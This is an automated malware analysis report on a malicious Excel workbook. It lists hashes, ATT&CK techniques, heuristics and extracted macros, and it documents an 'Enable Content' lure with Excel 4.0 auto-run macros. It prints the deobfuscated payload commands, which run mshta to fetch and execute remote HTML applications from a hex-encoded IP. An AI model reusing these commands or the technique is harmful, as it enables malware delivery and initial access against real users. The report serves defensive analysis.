Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 9cd1ef35e5af637f…

MALICIOUS

Office (OLE) / .XLS

64.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: e46ca7da81558e7c26bed43215f7073f SHA-1: eb0c35bec6b892ad0ea3071d7ec0a284c37175af SHA-256: 9cd1ef35e5af637f6ec52fdcd8ab9f13f737d699bc9353b4eadd23a1ae5f8746
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1566.001 Phishing: Spearphishing Attachment T1059.001 Command and Scripting Interpreter: PowerShell

The sample uses a 'Enable Content' lure in the document body to trick the user into executing Excel 4.0 (XLM) macros. The extracted scripts contain a string concatenation/obfuscation attempt using carets to hide the command 'cmd /c mshta http://0xc12a24f5/c.html' and 'cmd /c mshta http://0xc12a24f5/cc.html', which attempts to execute a remote HTML application via mshta.exe. This is a consistent pattern for initial access and payload delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes